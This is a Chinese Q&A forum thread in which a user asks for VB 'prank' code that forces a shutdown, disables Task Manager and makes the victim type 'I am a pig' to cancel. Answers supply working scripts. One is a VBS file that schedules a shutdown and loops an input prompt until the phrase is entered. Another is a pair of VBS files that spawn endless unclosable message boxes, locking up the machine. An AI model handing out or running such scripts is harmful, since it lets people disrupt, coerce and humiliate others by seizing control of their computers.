Question

求一VB恶搞程序代码

具体是这样的：窗体里有一个按钮，鼠标一经过就换一个位置，10次以后位置不动，点击后出现30秒后关机的窗体，然后出现一个msgbox，除非输入我是猪，关机窗口取消，期间任务管理器被禁用

Answer 1

把以下代码复制到记事本中，然后把扩展名改为.vbs运行即可。
On Error Resume Next
Dim WSHshellA
Set WSHshellA = wscript.CreateObject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -s -t 90 -c ""快喊我是猪，不喊就马上让你关机，不信，试试···"" ", 0, True
Dim a
Do While (a <> "我是猪")
a = InputBox("快说我是猪,不叫就不关机，快点，说 ", "说不说", "不说", 8000, 7000)
MsgBox Chr(13) + Chr(13) + Chr(13) + a, 0, "MsgBox"
Loop
MsgBox Chr(13) + Chr(13) + Chr(13) + "早说就行了嘛!好,不关了"
WSHshella.run "cmd.exe /c shutdown -a"

追问

如果不说“我是猪”，是不是就是个死循环安？

Answer 2

我日。求共享。。做完能不能发给我看下。。求知啊！！

Answer 3

这个vbs代码超级NB，它可以弹出无数的窗口（霸屏)，而且有关不掉（无限），任务管理器和cmd都打不开（一直弹出窗口，打开不了，也清除不完，输入不了），想要关闭只能关机或者提前创建一个bat命令在桌面。
首先，先自己创建一个无限弹窗命令（这个命令只出现一个窗口，关不掉，只能用任务管理器或cmd关）
do
msgbox"%",vbcritical
loop
“%”表示弹出窗口的内容，自己修改即可，创建好这个vbs命令后，记住这个文件的地址
然后再创建一个vbs命令
set ws=createobject("wscript.shell")
do
ws.run "刚才的vbs文件地址"
wscript.sleep 1000
loop
run后面双引号的内容是刚才我们创建的vbs命令地址，例如"F:\脚本\脚本.vbs"，后缀名也要写，sleep后面的1000是弹出窗口的速度（数值越小，弹出窗口越快，可自己修改），还要注意的是以上代码的标点符号全部用英文的标点符号。
你还可以自己做一个bat命令来清除这些对话框
taskkill /f /im wscript.exe /t
这个也是用记事本写，然后将其后缀名改为bat即可，最好放在桌面或者创建一个快捷方式，清除对话框时点击这个bat命令即可。

Answer 4

很简单的东西，连api都用不着

Answer 5

确实非常狠，给50我做

追问

可以